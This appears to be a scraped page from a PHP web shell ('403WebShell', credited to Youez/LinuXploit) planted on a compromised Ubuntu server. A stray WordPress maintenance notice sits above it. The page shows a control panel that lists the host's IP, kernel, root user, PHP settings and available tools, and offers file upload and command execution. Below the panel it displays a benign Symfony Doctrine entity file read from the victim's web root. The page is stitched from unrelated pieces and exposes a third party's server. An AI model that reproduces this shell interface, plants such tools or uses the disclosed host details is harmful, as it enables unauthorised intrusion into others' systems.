WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.216.252
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/sura/src/Entity/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/sura/src/Entity//StockCategory.php
<?php

namespace App\Entity;

use Doctrine\Common\Collections\ArrayCollection;
use Doctrine\Common\Collections\Collection;
use Doctrine\ORM\Mapping as ORM;
use Symfony\Component\Serializer\Annotation\Groups;

/**
 * @ORM\Entity(repositoryClass="App\Repository\StockCategoryRepository")
 */
class StockCategory
{
    /**
     * @Groups({"elastica"})
     * @ORM\Id()
     * @ORM\GeneratedValue()
     * @ORM\Column(type="integer")
     */
    private $id;

    /**
     * @Groups({"elastica"})
     * @ORM\Column(type="string", length=255)
     */
    private $name;

    /**
     * @ORM\Column(type="text")
     */
    private $description;

    /**
     * @ORM\OneToMany(targetEntity="App\Entity\Stock", mappedBy="category", orphanRemoval=true)
     */
    private $stocks;

    /**
     * @ORM\OneToMany(targetEntity="App\Entity\Stock", mappedBy="category2")
     */
    private $stocks2;

    /**
     * @ORM\OneToMany(targetEntity="App\Entity\FileCategory", mappedBy="category")
     */
    private $fileCategories;


    /**
     * @ORM\OneToOne(targetEntity="App\Entity\Stock", cascade={"persist", "remove"})
     */
    private $featuredStock;

    /**
     *
     * @ORM\OneToMany(targetEntity="App\Entity\StocksCats", mappedBy="categoryStockCat")
     */
    private $stocksCats;

    public function __construct()
    {
        $this->stocks = new ArrayCollection();
        $this->stocks2 = new ArrayCollection();
        $this->fileCategories = new ArrayCollection();
        $this->stocksCats = new ArrayCollection();
    }

    public function getId(): ?int
    {
        return $this->id;
    }

    public function getName(): ?string
    {
        return $this->name;
    }

    public function setName(string $name): self
    {
        $this->name = $name;

        return $this;
    }

    public function getDescription(): ?string
    {
        return $this->description;
    }

    public function setDescription(string $description): self
    {
        $this->description = $description;

        return $this;
    }

    /**
     * @return Collection|Stock[]
     */
    public function getStocks(): Collection
    {
        return $this->stocks;
    }

    public function addStock(Stock $stock): self
    {
        if (!$this->stocks->contains($stock)) {
            $this->stocks[] = $stock;
            $stock->setCategory($this);
        }

        return $this;
    }

    public function removeStock(Stock $stock): self
    {
        if ($this->stocks->contains($stock)) {
            $this->stocks->removeElement($stock);
            // set the owning side to null (unless already changed)
            if ($stock->getCategory() === $this) {
                $stock->setCategory(null);
            }
        }

        return $this;
    }

    /**
     * @return Collection|Stock[]
     */
    public function getStocks2(): Collection
    {
        return $this->stocks2;
    }

    public function addStocks2(Stock $stocks2): self
    {
        if (!$this->stocks2->contains($stocks2)) {
            $this->stocks2[] = $stocks2;
            $stocks2->setCategory2($this);
        }

        return $this;
    }

    public function removeStocks2(Stock $stocks2): self
    {
        if ($this->stocks2->contains($stocks2)) {
            $this->stocks2->removeElement($stocks2);
            // set the owning side to null (unless already changed)
            if ($stocks2->getCategory2() === $this) {
                $stocks2->setCategory2(null);
            }
        }

        return $this;
    }

    /**
     * @return Collection|FileCategory[]
     */
    public function getFileCategories(): Collection
    {
        return $this->fileCategories;
    }

    public function addFileCategory(FileCategory $fileCategory): self
    {
        if (!$this->fileCategories->contains($fileCategory)) {
            $this->fileCategories[] = $fileCategory;
            $fileCategory->setCategory($this);
        }

        return $this;
    }

    public function removeFileCategory(FileCategory $fileCategory): self
    {
        if ($this->fileCategories->contains($fileCategory)) {
            $this->fileCategories->removeElement($fileCategory);
            // set the owning side to null (unless already changed)
            if ($fileCategory->getCategory() === $this) {
                $fileCategory->setCategory(null);
            }
        }

        return $this;
    }


    public function __toString()
    {
      return $this->name;
    }

    public function getFeaturedStock(): ?Stock
    {
        return $this->featuredStock;
    }

    public function setFeaturedStock(?Stock $featuredStock): self
    {
        $this->featuredStock = $featuredStock;

        return $this;
    }

    /**
     * @return Collection|StocksCats[]
     */
    public function getStocksCats()
    {
        return $this->stocksCats;
    }

    public function addStocksCat(StocksCats $stocksCat): self
    {
        if (!$this->stocksCats->contains($stocksCat)) {
            $this->stocksCats[] = $stocksCat;
            $stocksCat->setCategory($this);
        }

        return $this;
    }

    public function removeStocksCat(StocksCats $stocksCat): self
    {
        if ($this->stocksCats->contains($stocksCat)) {
            $this->stocksCats->removeElement($stocksCat);
            // set the owning side to null (unless already changed)
            if ($stocksCat->getCategory() === $this) {
                $stocksCat->setCategory(null);
            }
        }

        return $this;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit